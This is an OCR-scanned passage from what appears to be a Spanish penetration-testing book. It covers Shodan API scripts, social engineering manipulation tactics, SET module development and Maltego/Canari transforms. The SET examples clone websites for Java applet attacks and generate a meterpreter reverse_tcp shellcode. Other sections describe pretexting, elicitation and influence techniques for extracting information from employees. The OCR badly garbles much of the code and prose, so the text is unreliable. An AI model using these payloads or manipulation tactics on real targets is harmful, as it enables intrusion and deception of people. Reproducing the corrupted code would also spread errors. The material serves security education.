usuario que ha creado la instancia de la clase Shodan.Shodan. En el caso de gque la cuenta de usuario
tenga los add-ons de HTTPS y Telnet habilitados, aparecera lo siguiente:
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*python simpleShodan.py
https: True

unlocked lsafr: 1064
plan: dewv

telnet: True

walocked: True

Otra caracleristica muy interesante que tiene la AP/ de Shodan, es 1a posibilidad de utilizar “facetas™,
las cuales permiten generar agrupaciones de datos para su posterior andlisis. El uso de las facetas.
permite obtener informacién global sobre los registros que se encuentran almacenados en la base

id__@h

de datos de Shodan, por ejemplo, seria posible extraer los “#™ paises que tienen el mayor nimero
de servidores web con Apache o NGNIX. Para utilizar esta caracteristica, la funcion count permite
obtener el nimero total de registros de una busqueda sin retormar los registros encontrados.

Script: ShodanSimpleFacets.py

$! /usc/pinfenv python
import Shodan
FACETE =
(‘org” .15,
{‘domain’,13),
(‘pore’, 15},
{tazn”,. 10},
{ ‘counkesy’ ,» 15},

FACET TITLES = |{
‘org®: ‘Top 15 Organlizations’,
‘domain’: 'Top 15 Domains',
‘portf ! ‘Top 15 Foxts’,
‘fasn® ;. “Top 10 Autonomous Systems”,
‘eountry®: ‘Top 13 Countries’,

api = Shedan.Shodan (“API KEY")
rezult = apl.count{™ngnix”, faceta=FACETS]
print ‘Total Results: %¥akn' % result['total’]
for facet in result[‘facets’]:
print FACET TITLES[facet]
for term in result|*facets’l[facat]:
print “iz: %s8f % (term[’value’], term[‘count”®])
—_-].'\.l. r
prink
except Exceptlion, e:
print ‘Errer: %¥s' ¥ e

Con el script anterior se realiza una buasqueda con el filtro “apache™ y se pintan por pantalla los
sesultados correspondientes a las facetas que se han incluido en la vanable FACETS.

Ademas de realizar basquedas globales sobre todos los registros almacenados en Shodan lambién
ewiste la posibilidad de realizar blsquedas concretas contra un segmento de red particular, del mismo
modo que se puede hacer con el filtro mer, sin embargo, para hacer esto desde la APJ de Shodan, se
smcuentra disponible la funcidn host la cual admite una direccidn LP como argumento.
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Script: ShodanSimpieSearchHost.py
#! fusr/binSenvy python
import Shodan
def ShodanTesbL():
Ery:
ShodanKeystring = “API EEY”™
# Shodanfipi = Shedan.shodan (ShodanKeyString)
results = ShodanApi.host(™188.84.42.16£")
for result in results:
print *%&5: %3 * % (result, results([result])
aexcept Shodan.APIEcror, @@
.

print “Error: s

ih

if _ name == main i

SheaanTest

Como se puede apreciar en el seript anterior, se ejecuta una busqueda en Shodan contra la direccion
IP que se ha especificado como argumento en la funcion foss y luego se pintan los resultados por

pantalla.

Finalmente. las tltimas versiones de la libreria, a la fecha de escribir este documento, incluyen
nuevas caracteristicas que permiten acceder en tiempo real a los datos que Shodan se encuentra
analizando en el momento. Se trata de una caracteristica que permite obtener informacion adicional
que no se encuentra indexada en Shodan, ya que toda esta informacion es filtrada y solamente un

conjunto limitado de los datos analizados son indexados en el motor de bisqueda.

No obstante. ¢l uso de esta caracteristica tiene restricciones bastante considerables. ya que en
primer lugar, solamente la pueden utilizar aquellos que paguen un plan de suscripcion y por defecto
solamente retorna un uno por ciento (1%) de la totalidad de los registros que recolecta Shadan en
Internet. En el caso de querer tener acceso a mas datos, es necesario solicitar informacion sobre los

precios.

En cualquier caso, tal como mencionaba anteriormente, las caracteristicas que ofrece Shodan son
muy valiosas para un pentester y tiene un costo bajo.

Script: ShodanRealTime.py

! ruscfbinfeny python
imporTs Shodan
import sys
EEye

api = Shodan.Shodan (“API_KEY")

for banner in api.stream.ports([443]):

if ‘opts® in banner and ‘pem’ in banner[‘opts’]:
print banner|'opts’][‘pem’]

gxcept Exception, €3
nrint ‘Erreor: %s’

]

sys.exitil)
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Con el script anterior, es posible recuperar los certificados que estan siendo procesados por Shadan
= ¢l momento v pintar por pantalla la informacidén de cada uno. Ademas de las funciones explicadas
o= esta seccion, también existen otras funciones y clases que se encuentran incluidas en Shodan y
oee pueden resultar interesantes para el lector. Se recomienda leer la especificacion de las funciones
y clases d'ispunih]f:s en la API desde el siguiente enlace: htps:/iShodan.readrhedocs.org/enflatest/

o .

1.5 Ingenieria Social

LU= 2tacante en el mundo real, normalmente no solamente se interesa en atacar sistemas y explotar
swalguier tipo de vulnerabilidad, los vectores de ataque utilizados con mayor frecuencia contra
smoresas v diferentes tipos de organizaciones han sido aquellos que se centran en engafar y
=amipular a sus empleados para conseguir informacion confidencial o acceder a zonas restringidas.
La mgenieria social se basa en el hecho de que en algunas ocasiones es mucho mas ficil y efectivo
sxplotar la “infraestructura humana™ que una arquitectura de sistemas debidamente asegurada.

U= mgeniero social, utiliza las herramientas y los conocimientos que tiene a su disposicion para
somseguir que una persona realice tareas que son acordes a sus intereses particulares, tales como
scceder a informacion, acceder a zonas o espacios restringidos, obtener beneficios de cualquier tipo,
== Dichos conocimientos se basan en algunas caracteristicas propias de la psique humana y que
=or ende, es dificil para una empresa u organizacioén contar con medidas de proteccion eficaces que
sermitan minimizar el riesgo y el impacto de un ataque exitoso. Es por este motivo, que muchas de
‘= organizaciones mds reconocidas en el mundo de la seguridad informatica, tales como Svmantec
sz incluido la ingenieria social como una de las principales causas de divulgacion de informacion
semsitiva en los Gltimos afios, produciendo perdidas de millones de doélares a empresas phblicas y

semwadas cada ailo.

L= principales técnicas empleadas por ingenieros sociales, actualmente se encuentran plasmadas y
smalzadas con un nivel de profundidad bastante aceptable en miltiples libros de texto, sin embargo,
s de los mejores recursos que se puede encontrar en fmterner sobre este topico, es el Social
Emmmeering Framework.

1.5.1 Social Engineering Framework

5 Social Engineering Framework es un conjunto de herramientas y recursos utiles para el estudio
2= las técnicas e innovaciones mas recientes en el area de la ingenieria social. La informacion que
weieve el framework trata de definir los principios basicos de la ingenieria social asi como algunas
S lz= “debilidades™ de la psique humana que suelen atacar los ingenieros sociales para conseguir
s ojetivos por medio de la manipulacidn y el engano. Los pilares de este framework se listan
2 comsimuacion v se incluye un breve resumen para su mejor comprension. Todos los recursos y
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herramientas incluidos en este framework pueden encontrarse en la siguiente direccion: Arp. v,
social-engineerorg/framework/Sociol Engineering Framework.

1.5.1.1 Recolecciion de Informacion

Se trata del proceso de recolectar y Eimacenar de forma ordenada toda la informacion que sea
posible conseguir sobre los recursos humanos del objetivo en cuestion. Para [levar a cabo este
proceso, se suelen utilizar herramientas informaticas especializadas para dicho fin, asi como también
cualguier tipo de dato que pueda ser obtenido en [nfernet o en otros medios tales como diarios, guias
telefdnicas, mapas sobre la ubicacion fisica del objetivo, entre otras fuentes.

Este es un proceso que requiere habilidad y creatividad para encontrar cualquier tipo de informacion
sobre ¢l objetivo, incluso en los sitios menos usuales, como por ejemplo en los contenedores de basura
de una empresa, alli es posible encontrarse con documentos o medios digitales con informacion
importante que no se han destruido por complete ¥ que permiten a un ingeniero social tener los
elementos necesarios para elaborar cuidadosamente su ataque.

1.5.1.2 Elicitacion

La traduccion al castellano mas cercana al término “Elicitation”™ es “Elicitacién™. Se trata de uno
de los aspectos mds importantes en el estudio de la ingenieria social y probablemente, el elemento
mas importante del framewerk. Este término, deseribe la habilidad que tienen los ingenieros sociales
para generar estimulos que provocan o alteran el comportamiento habitual de otras personas. Esta
habilidad, frecuentemente se basa en utilizar la simpatia o producir sentimientos agradables sobre
el objetive, ya que es mucho mas facil extraer informacion valiosa cuando una persona se siente
abierta, confiada y relajada. La NS4 (National Security Agency) de los Estados Unidos de América,
define el término “Elicitarion™ como: “La habilidad de extraer informacién de forma sutil durante
una conversacion aparentemente normal e inocente”. Se trata de una habilidad muy poderosa que
funciona bastante bien dado que encaja con algunos principios psicologicos que son destacados en
las interacciones humanas, tales como:

- Los humanos tienden a ser amables y cordiales, especialmente con personas desconocidas.
- Los profesionales de cualquier drea, quieren parecer bien formados y que dominan sobre
los temas tratados en una conversacion.

- Muchas personas cuando reciben halagos, suelen ser mas abiertas vy tienden a divulgar
informacion ficilmente.

- Muchas personas suelen responder rapidamente a las preguntas para parecer preocupados
y atentos durante el proceso comunicativo.

-  Muchas personas suelen estar mas atentas a prestar su ayudar v pueden divulgar
informacion cuando perciben una posible compensacion econdmica, reconocimiento o
simplemente agradecimiento.

- Muchas personas buscan la aceptacion de otros siendo amables, educados v simpéticos.
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= e de esta técnica, es extraer la mayor cantidad de informacion de una persona utilizando
sesames sencillas v mantener el interés en la conversacién, para conseguir dicho objetivo, es
e explotar algunos de los aspectos psicologicos anteriormente mencionados y llevar la
essacson por ¢l camino que le resulte conveniente al atacante.

E=1_5 Pretextos

S s @ Iz habilidad de crear un escenario inventado con el fin de persuadir a una persona a
S mformacion o ejecutar alguna accion. Para que dicho escenario pueda dar los mejores
eebsdos == necesario que el ingeniero social pueda despertar un sentimiento de confianza en la
e semsoma 512510 no es posible, como en todas las relaciones humanas, la otra persona no podra
= S imemee persuadida a entregar informacion o realizar alguna accion.

~ = | 2 Principios Psicoldgicos y PNL (Programacion NeuroLingiiistica)

S s 2lzunos principios psicolégicos que son importantes desde el punto de vista de la ingenieria
el @ado gue permiten conocer costumbres, modos de pensar, aptitudes y actitudes en la otra
sewme. Uso de estos principios consiste en conocer, mediante el proceso comunicativo, cuales son
e semmados gue la otra persona tiene mas desarrollados.

S semplo, hay personas que perciben ¢l mundo con mayor agudeza utilizando la vista, mientras
e e ommos gue lo hacen utilizando el oido o el tacto. Para un ingeniero social es importante saber
e demalles, ya que de esta forma puede comunicarse de una forma mucho mas eficiente y eficaz
e e mserlocutor. En realidad se trata de conceptos que son un poco mas complejos de lo que
sweces v reguieren mucha practica para poder llegar a dominarlos en conversaciones habituales

== OTDs DTS

B oo lado, la PNL (Programacion NewroLingiiistica) s un modelo que permite conocer las
= woomes entre los patrones de comportamiento y conducta, teniendo en cuenta variables externas
s commo el contexto v las condiciones en las que se establece la comunicacion con otras personas.

o Casrav Jung escribio: “Todo depende de cdmo veamos las cosas y no sobre como son realmente™
S 2 s PNL, esta frase cobra mucho sentido, dado que se trata de analizar el comportamiento de las
sesomes_ los modos de pensar, la forma en la que expresan sus pensamientos, su lenguaje corporal y
= swesexto cultural. En este punto adquiere mucha importancia ¢l concepto de las microexpresiones,
sue som expresiones faciales que se dan de forma espontinea ¢ inconsciente y que reflejan las
smacomes gue experimenta una persona en un momento determinado. Han sido objeto de muchos
sondies por parte de maltiples investigadores y psicologos, sin embargo, los trabajos del D Paul
i Ban sido los que han aportado mayores avances en drea de las emociones humanas durante
& seoceso comunicativo y sobre todo, en la deteccion del engario.

o= msbajos han revelado que las microexpresiones son independientes de factores culturales o
Seisscos. ademis ha podido categorizarlas en grupos de emociones positivas y negativas. Para un
szemeero socizal, el entrenamiento continuo sobre el manejo de las microexpresiones, asi como del
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lenguaje verbal y corporal son una de sus prioridades, ya que saber controlar estos factores durante

una conversacion, le permitirin tener cierto control sobre los eventos que se produzcan en la misma.

1.5.1.5 Influencia

Finalmente, este pilar del firamework consiste en la definicion de técnicas de manipulacién e influencia
sobre otros. Dichas técnicas se basan de forma directa en los conceptos explicados anteriormente,
los cuales le brindan las herramientas necesarias a un ingeniero social para elaborar situaciones que
le permitan tener cierto nivel de control sobre otras personas.

En este punto, las ticticas definidas en el framework son:
- Reciprocidad: Le permite a un ingeniero social influenciar a otra u otras personas

basandose en el principio psicoldgico de “reciprocidad™, el cual estd fuertemente instaurado

en la cultura occidental. De esta forma la otra persona tendra un sentimiento de obligacion

moral, social. contractual o incluso legal (aunque sea ficticio), obligandole a llevar a cabo

alguna accién o simplemente divulgar informacion. Este prineipio, solemos aplicarlo dia a
dia de manera casi que inconsciente, por ejemplo, cuando dejamos libre un para sentarse
a una persona mayor en el autobis o cuando ofrecemos nuestra colaboracion en cualquier
asunto laboral o académico a un compafiero. Aunque se trate de ejemplos bastante comunes,
un ingeniero social con buenas habilidades, puede elaborar eontextos mucho mas sofisticados
para explotar dicha condicién en la naturaleza de los seres humanos para influenciar el
comportamiento de otros.

- Escasez: Se trata de una tactica frecuentemente usada para crear un sentimiento de
urgencia en un contexto de toma de decisiones, obligando de esta forma a una persona a
tomar decisiones que no siempre siguen los intereses particulares de la victima, sino que
buscan satisfacer los intereses del ingeniero social. Se trata de una técnica utilizada con
mucha frecuencia por vendedores para hacer que los compradores actien de forma rapida,

creando un sentimiento de escasez de un producto o servicio determinado. Este mismo.

concepto aplica en muchos contextos, tales como la economia, la politica, entre otros. Es
una tdctica muy poderosa que puede ser utilizada para influenciar el comportamiento de las
personas y manipular sus decisiones en funcion a los intereses del ingeniero social.

- Autoridad: Un ingeniero social puede obligar a otra persona a realizar algin tipo de
acei6n o divulgar informacién basdndose en la legitimidad gue le otorga un puesto de mando
en una empresa, estatus social o autoridad legal. Dicha autoridad puede ser real o ficticia
y suele ser parte del contexto elaborado por el ingenicro social para cumplir sus objetivos.
En cualquier caso, la eleccion del tipo de autoridad que puede asumir como propia un
ingeniero sociai, dependerd directamente de los incentivos y caracteristicas del objetivo. Por
ejemplo, si ¢l objetivo es un militar o un policia, probablemente sea mucho mds eficiente
elaborar un contexto de autoridad jerdrquica simulando un alto mando para influir sobre el
comportamiento ¥ las decisiones de dicha persona. Otro ejemplo del uso de esta tactica, que
suele ser muy eficiente, es por medio de la autoridad legal, donde un ingeniero social puede
alegar legitimidad en el acceso a informacién sensible, basdndose en argumentos legales que
aungue puedan parecer legitimos, frecuentemente son invalidos.
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- Gustos: Muchas personas suelen ser mds propensas a ser influenciadas por objetos o
personas que son acordes a sus gustos. Si el ingeniero social conoce estos detalles sobre
su objetivo, puede elaborar un contexto controlado que le permita acceder a informacion
sensitiva o hacer que el objetivo lleve a cabo alguna accién que cumpla con los intereses
del ingeniero social. Los gustos de una persona, evidentemente no son una medida lineal v
pueden cambiar considerablemente entre diferentes personas o incluso entre modas y épocas,
por este motivo, es necesario conocer los gustos y aficiones del objetivo para crear el contexto
adecuado vy poder influenciar su conducta.

Sstos han sido, a grandes rasgos, los pilares fundamentes sobre los que se basa el framework, sin
smbargo, también existen herramientas tanto fisicas como automatizadas que facilitan su aplicacion.

1.5.1.6 SET (Social Engine Toolkit)

22T s una herramienta escrita en Python que se enfoca principalmente en la explotacion del “factor
semano” v ha sido especificamente disefiado para soportar los conceptos tedricos y pricticos
sxpucsios en el Social Engineering Framework.

=1 objetivo de esta herramienta es el de servir como punto de apoyo de un ingeniero social soportando
vamos tipos de ataques del tipo “Client-Side” con el uinico fin de comprometer ¢l espacio de trabajo
el mavor nimero de usuarios posible.

Algunos de los tipos de ataque que soporta se listan a continuacion:
- Spear-Phishing Anack Vector:
- Infectious Media Generator.
- Java Applet Attack Vector,
- Metasploit Browser Exploitation.
- Credential Harvester Attack.
- Tabnabbing Attack.
- Man Left in the Middle Anack.
- Web Jacking Anack.
- Multi-Anack Web Vector.
- QORCode Antack.

Ldemds de estos tipos de ataque, también le permite a los desarrolladores crear médulos que se
peedan incluir directamente en la herramienta.

1.5.1.6.1 Desarrollo de Mddulos en SET

Aunque se trata de una herramienta que permite establecer ripidamente distintos vectores de ataque,
2 ventaja de crear modulos propios o incluso reutilizar otros escritos por terceros, es una de las
caracteristicas mds potentes que tiene ¢sta herramienta.
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El procedimiento es sencillo, solamente es necesario incluir en el directorio “<SET INSTALL=/
modules™ uno o varios ficheros Python ( *.pv) que contendrian las rutinas que seran ¢jecutadas por ¢l
modulo. Todos los seripts incluidos en dicho directorio, serdn cargados en SET bajo la opcion “Thrid
Party Modules”.

A continuacion se incluye un médulo simple que se puede cargar en SET. Notese ¢l uso de las clases
y utilidades ya incluidas en la herramienta.

Script: setSimple Example.py

! /fuss/binfanv python
from src.core.setcore import *
1Mport Svs

MATH="Simple Modula®™
AUTHOR="Adastra™
def main() :
java applet_ attack(“http://thehackerway.com”,"80%,"thw/")

En ¢l script anterior. la funcion main es obligatoria, ya que serd la funcion que SET ejecutard
automdticamente. Por otro lado, el modulo core contiene todas las utilidades y funciones que incluye
el framework y que un desarrollador de Python puede utilizar desde sus propios seripiss.

En este caso concreto, solamente se utiliza la funcion corejava appler attack la cual se encarga
de clonar un sitio, iniciar un servidor web con Metasploir en el puerto 443 y finalmente miciar un
haneller de metasploit para recibir cada shell reversa de las victimas.

Ademis de la funcion corejava_applet_artack, existen algunas otras que permiten combinar varios
ataques desde un inico madulo. Un ejemplo un poco mds concreto y que extiende las funcionalidades
de SET se puede apreciar en el siguiente scripy.

Seript: setFunctionsExample.py

i! fusr/binfenv python
from sSrc.core.setcore 1mport *
import 3¥s
MAIN="Multi-ugse Module.™
AUTHOR="Adastra”™
def main():
site cloner {(“http://thehackerway.com”,"thw/", "%}
print check_os()
print meta pathi)
print meta_database()
iphddress = grab ipaddress()
valid = iz valid ip{ipAddress)
if valid:
print iphddress + is vaiid.”
generate_shellcode (“windows/meterpreter/reverse_tcp”, ilpAddress, “313377)
print generate random string(l, 35)
start_web_server (“chw/")
start_dns()

Lo
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El script anterior utiliza varias de las funciones disponibles en SET y que estin a disposicion de
cualquier desarrollador. En primera instancia, se ¢jecuta la funcion sife_cloner para extraer los
contenidos webh de un dominio determinado para posteriormente poder crear un “fake site”. Las
siguientes funciones se encargan de realizar tareas variadas, tales como determinar la version del
sistema operativo, obtener informacion relacionada con el directorio de instalacion de Merasploir
Framework v determinar si una la direccion [P local es valida. La funcion generare shellcode se
encarga de generar un sheflcode ejecutando la utilidad msfvenom de Metasploit Framework. La
funcion generate_random_siring toma ¢l rango de valores entre 1 y 35 para generar una cadena
aleatoria v finalmente, las funciones srart_welb _server y start_dns se encargan de iniciar un servidor
web v un servidor DNS en la maquina local respectivamente.

Algunas de las funciones disponibles en SET para utilizarlas desde cualquier médulo, se pueden
spreciar a continuacion:
- site cloner(website, exportpath, *args). Permite clonar un sitio web y almacenarlo en
el directorio especificado. 51 se ejecuta lo siguiente: core.site_cloner (“hiup://www. google.
com”, “google™) el conmenido del sitio fwip:iwwgoogle.com sera almacenado en el
glirectorio “google”.
- meta_path(): Permite conocer el directorio de instalacion de Merasploit Framework (el
que se encuentra definido en el fichero de configuracion “ser_config”).
- check_pexpect(): Verifica si la hibreria Pexcepr se encuentra instalada en el sistema.
- check _beauntifulsonup(): Verifica si la libreria BeawrifulSoup se encuentra instalada en el
sistema.

update_set(): Actualiza la version de SET.

- update_metasploitf): Actualiza la version de Metasploit Framewaork.

- help_menu(): Ensena el meni de ayuda contextual de SET.

- date_time(). Retorna la fecha y la hora.

- generate_random _string(low, high): Genera una cadena aleatoria entre fow v figh.
- start_web_server(dir): Inicia un servidor web en el directorio especificado.

- start_web _server _unthreaded(dir). Inicia un servidor web en ¢l directorio especificado
en un Unico hilo de ejecucion.

- upx(file): Codifica ¢l fichero especificado utthzando UPX.
- show_graphic(): Enseiia una opcion aleatoria del mena principal.

= ¢l lector se encuentra interesado en profundizar ain mas ¢n el desarrollo de modulos en SET se
s=comienda leer la seccion correspondiente en el manual de usuario alojado en el directorio “<SET
NSTALL=freadme/User Manual pdf”. Ademas, también ¢s muy instructivo leer el codigo fuente
21 provecto, mds concretamente los ficheros “<SET INSTALL=/src/corefsetcorepy”™ y “<SET _
BOOT=/lsrefeore/set.py” los cuales contienen las funciones que se han descrito anteriormente, asi
somo otras que estan disponibles v que pueden ser de utilidad para el desarrollador.
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1.5.2 Maltego

Maltego es una herramienta diseada con el fin de recolectar y estructurar diferentes irems de
informacion de una forma visual muy facil de comprender. Los ifems pueden ser dominios en lnterner,
sitios wel, direcciones de correo electronico o incluso informacion personal. Es una herramienta
muy valorada y utilizada en las primeras etapas de recoleccion de informacion ya que se permite
gjecutar busquedas por datos personales o informacion relacionada con una organizacion concreta.
Para realizar estas bisquedas, es necesario ejecutar una transformacion, que es simplemente una
accion en Maltego que permite especificar el tipo de blsqueda que se debe realizar. Por ejemplo,
s¢ puede especificar que se realicen basquedas en servidores SMTFP pablicos por una direccion
de correo electronico concreta, bisquedas por nimeros de teléfono asociados a una persona o
simplemente, todas las transformaciones disponibles en Mealrege para recuperar la mayor cantidad
de informacion posible.

Si se quisiera indagar sobre la informacion piblica de una persona v cualquier otro detalle que
pueda ser de interés, partiendo de su cuenta en twitter, se puede crear un nuevo proyecto en Maltego
y seleccionar el modo “Personal”™ en la paleta ubicada a la izquierda, tal ¥ como se enseila en la
siguiente imagen.
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Imagen 01.01: Creacion de un objeto “Affiliation Twitter™ en Maltego.

Posteriormente, solo ¢s necesario ingresar la informacién de la cuenta a buscar vy sobre el elemento
creado en el panel centrar, ¢jecutar cualquiera de las transformaciones disponibles pulsado click

derecho sobre el objeto.

Las imagenes 01.02 y 01.03 ensenian las relaciones creadas después de ejecutar las transformaciones
sobre la cuenta en rwirfer deseada.
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Imagen 01.03: Resulado de las transformaciones gjecutadas desde Malrego.

L mowe se trata de un ejemplo muy sencillo, demuestra la potencia y simplicidad de esta

se—wmienta, que no solamente se limita a la busqueda y recuperacion de informacién de personas y
seamizaciones, sino que también permite realizar bisquedas sobre la infraestructura de un sistema,

. web. dominio o una URL, recolectando toda la informacion disponible por medio de las
pessformaciones definidas.

el e
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La imagen 01.04 enseiia los resultados de ejecutar todas las transformaciones disponibles en Malrego
para un sitio web determinado. Como se puede apreciar, se han encontrado datos relacionados con
la infraestructura del sitio web que pueden ser muy tiles para elaborar un vector de ataque contra
¢l sitio web en cuestion.
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Imagen 01.04: Informacion sobre la infragstructura de un sitio web utilizando Malrego.

1.5.2.1 Canari Framework

Aunque las transformaciones incluidas en Malrego son suficientes en la mayoria de los casos, ¢s
posible crear transformaciones propias o utilizar otras escritas por ICreeros. En el caso de Canari
Framework, un alacante cuenta con una potente herramienta para crear transformaciones que pueden
integrarse ficilmente en Maltege utilizando Python. Una de las caracteristicas mas llamativas
y potentes de Canari es que utilizando su API es posible abstraer muchas de las complejidades
que implica desarrollar transformaciones en Maltego y le permite a un desarrollador enfocarse
directamente en la logica que desea implementar para extraer, filirar y ensefar informacion atil.

1.5.2.1.1 Instalacion de Canari Framework
Para instalar Canari. es necesario tener una version de Python superior a la 2.7 y tener instalada la

libreria setuprools para ejecutar easy_install comodamente.

»gudo easy install canari

Con ¢l comando anterior, se instalan automaticamente todas las dependencias necesarias para poder
ejecutar Canari Framework y comenzar a crear transformaciones en Malrego.

El proceso de instalacion es muy simple y a la fecha de escribir este documento, Canari es soportado
en sistemas Windows. Limix y MacOS. Si el lector tiene cualquier dificultad a la hora de instalar
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Canari, se le invita a leer la seccion correspondiente de documentacion oficial en el sigmente enlace:
bap-wwwcanaripraject. comdinstalling-canaril.

1.5.2.1.2 Transformaciones locales y remotas en Canari Framework

LUno de los concepios clave a la hora de trabajar con Carari Framework, es conocer el proceso de
erzacion v egjecucion de transformaciones locales y remotas. Las transformaciones son funciones
gee se gjecutan directamente contra una instancia de Maltego y los resultados de la gjecucion de
@ichas funciones son notificados por medio del canal srdfour (salida estandar del sistema).

L == transformaciones locales y remotas funcionan exactamente igual, la diferencia cs simplemente que
le= transformaciones remotas pueden ser alojadas en un servidor de distribucion de transformaciones
\ Transform Distriburion Server. TDS) que es gestionado y administrado por Parerva (organizacion
e desarrolla y mantiene Malrego). Las ventajas de las transformaciones remotas son evidentes, en
~ semer lugar son faciles de distribuir sobre multiples instancias de Maftego, lo que le permite a los
~ @esarrolladores compartir sus transformaciones con otros usuarios. Ademas, Parerva se encarga de
~ gemantizar los derechos de autor sobre las transformaciones que son subidas al TDS, protegiendo de
== forma las transformaciones creadas por cada desarrollador. Esto es muy Gtil en el case de querer
ercializar transformaciones y distribuirlas ficilmente a cualgquier cliente.

1.3 Desarrollo de Transformaciones con Canari Framework
s¢s de que Canari es instalado, la utilidad por linea de comandos canaii permite, entre otras
s, crear transformaciones muy ficilmente con el argumento create-package.

pari create-package canariTrangform
Semee to the Canari transferm package wilzard.
d you like to gpecify auvthorship information? [¥/nl: ¥
£ description []: Canari Framework Testing
prate an example transform? [¥Y/n]: ¥
eor name [adastra):
e email []: depliadastrafgmail.com
ainer name [adastral:
gou satisfied with this information? [¥/n): ¥
ging skeleton in canariTransform
ing directory canariTransform
ing directory canariTransform/scc
ing dirsctory canariTransform/maltegc
7 directory canariTransform/src/canariTransform
directory canariTransformf/srcfcanariTransforms/toansfiorms
dirgcteory canariTransform/arc/eanariTransform/transforms/common
directory canariTransfarm/sro/canariTransfocm/resources
directory canaciTransform/src/canariTransform/resourcessete
] directory canariTransform/src/canariTransform/resources/images
directory canariTranaformssre/canariTransform/resources/external
3y directory canariTransform/are/canariTransform/resources/maltego
file capariTranaform/.canari...
file canariTransform/setup.py...
g file canariTransform/README .md. ..
file careriTransform/MANIFEST. in. ..
fila canaciTrensformssrofcanariTransform) init .pv...
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creating file canariTransform/src/canariTransicrm/resources/ init__ .py...
creating file canariTransform/src/canariTransform/resources/etc/__init__ .py...
creating file canariTransform/sreo/canariTransform/resources/images/ init_ .py...

creating file canariTransform/src/canariTransform/resources/fexternalf init  .py...
creati file canariTransfomm/erc/canariTransform/resources/maltego/  init  .py...
creating file canaziTransform/sreScanariTransiorm/cesourcesS/ete/canarilTransform.
conk...

creating file canariTransform/sre/canariTransform/trensforms/__init__ .py..-
creating file canariTrangformSarc/canariTransform/transformss/helloworld.py. ..
ereating file canariTransform/erc/canariTransform/transforms/common/__init  .py...
creating file canariTransform/srcfcanaciTransform/transfcems/common/entities.py. ..

donea !

Al ejecutar ¢l comando anterior, se ha solicitado informacion sobre la transformacion a crear y el
autor. En el caso de crear un esquema base, se instalan una serie de paquetes y ficheros Python que

permitiran crear las ransformaciones ripidamente.

Al mirar detenidamente en ¢l Jog generado por la herramienta, se puede ver que se ha creado un
fichero con nombre heliowarld py y en dicho fichero se pueden comenzar a crear las transformaciones

que posteriormente se ejecutaran desde Malrege.

El fichero canariTranstorm/sre/canariTransformiransforms/helloworld pv contiene la informacion
suministrada anteriormente v dos funciones con el decorador @configure, la primera de ellas es
dotransform lacual recibe como argumentos la peticion y la respuesta. Se trata de la funcién principal
de la transformacién ya que es invocada cuando desde la interfaz visual de Mafrege se intentia
aplica la transformacion en cuestion. La segunda funcion es onlerminate y es invocada cuando la
transformacian ha finalizado su ejecucion., con lo cual es til principalmente para realizar tareas de

limpieza v liberacidn de recursos.

1.5.2.1.4 Instalacién de Transformaciones en Maltego _
Para instalar la transformacién y poder utilizarla directamente desde la interfaz de usuario de Malrego.

es necesario ejecutar la utilidad canari con el argumento install-package sobre el directorio donde se
encuentra ¢l codigo fuente (en este caso, en el directorio sic).

»canari install-package canariTransform
Writing canari.config to fhoma/adastra/.canari... _ _
Writing canariTransform/resources/etc/canariTransfomm.cont to fhome/adastra/ .cana=

rifcanariTransform.cont
Updating /homefadastra/.canarifcanari.conf...
3 = f I 1 iTransform. transforms
Looking for transforms in canarilrans SR L .
Installing transform canariTrdusfn:m.vE.Hytanari:ransfa:nnnt."yTn?rrnse_heLﬂmwnrlc

Erom canariTransferm,transfnrms.he:;awcrld...

Ademas de lo anterior, también es necesario gjecutar el seript setip.py que se hla creado de i‘m_‘ma
ar ¢l paquete e ingresar el argumenta install. Es importante realizar

automitica en ¢l momento de cre i
la transformacion que se ha creado y pueda

estos dos pasos para que Malrego ejecute correctamente
encontrar las dependencias necesaras.

»python setup.py install
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st0s dos pasos, es suficiente para tener disponible la transformacion desde la fnrerfaz de
y "-LFIIIIHEI"lE sobre los ifems establecidos en el decorador @cenfigure tal como se ha
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sogue con Canari Framework es pn:-‘.ihlu crear transformaciones personalizadas. también existe
sibilidad de utilizar transformaciones desarrolladas por terceros y en el caso de Shodan, hay

e serie de transformaciones que pueden ser utilizadas para realizar busquedas directamente contra
Ao desde Maltego, Las ventajas saltan a la vista, en primer lugar se puede estructurar toda la
=fsmmacion disponible sobre un objetivo desde la interfaz de Maltego y posteriormente realizar
Sisomedas en Shodan utilizando las entidades cargadas en la paleta. El enlace para descargar las
swetormaciones es el siguiente: hitips:Vnaltego. Shodan.io/,

s imsralar esta transformacion o cualquier otra creada por un tercero, es necesario seleccionar

St Maltego el menu Manage y seleccionar la opcion fmport entities desde donde se pedira un
S meme con extension atiz o migx con todos los recursos necesarios para la creacion de las entidades.
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Imagen 01.05: Importacion de Entidades en Mualrego.

& ver se han instalado las entidades, el siguiente paso es gestionar las transformaciones y para

0. == necesario seleccionar en el mend Manage la opeion Discover Transforms.

= los pasos anteriores, se crean dos elementos nuevos en la paleta de la izquierda, los cuales

—eertan servicios en Infernet y exploits que se pueden buscar en multiples repositorios desde
i Ademas de lo anterior, se puede cargar en el panel un elemento del tipo Phrase y comenzar

geslirar busquedas.
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Imagen 01.06: Ejecuciin de la transformacion searcfiShodan (1° parte)

Después de ingresar una Developer Key valida, es posible ¢jecutar la transformacion y recuperar
un conjunto de entidades que representan los mismos resultados que se podrian obtener desde un
seript en Python o el sitio web de Shodan, con la diferencia de que en esta ocasion se generard un
conjunto de entidades nuevas en la paleta de Maltego a las que es posible seguir aplicando otras de
las transformaciones disponibles en la herramienta.
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Imagen 00.07: Ejecucion de la ransformacion searchShodan (2 parte).
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La combinacion de Maltego con Canari Framework y las transformaciones que brinda Shodan,
constituyen un marco de trabajo muy potente que en las manos de un atacante con la firme intencion
de hacer daiio, puede representar un riesgo muy serio para organizaciones y empresas de todo tipo,
especialmente cuando el objetivo del ataque es la infraestructura humana de la organizacion,

1.6 Analisis de Metadatos con Python

L= metadatos constituyen una parte importante de cualquier documento y contienen informacion
sficional sobre las fechas de creacidén/edicion. autor. herramienta utilizada para la creacion del
Secumento v otra informacion que puede ser Gtil de cara a un andlisis forense. Han sido muchos los
~as0s en los que se han utilizado los metadatos de un documento para capturar atacantes en fnfernet
= =cluso, auténticos criminales. Probablemente ¢l easo més conocido ha sido el caso del asesino en
e conocido como BTK (Bind, Torture and Kill). al que se le atribuian varios asesinatos entre los
5= 1974 v la década de los 90 en los alrededores de la ciudad de Wichita, Kansas. Fueron mas de
0 =%0s en los que la policia no tenia pista alguna sobre el autor de los asesinatos, el cual enviaba
a la policia y a las agencias de noticias locales en las que daba instrucciones especificas sobre
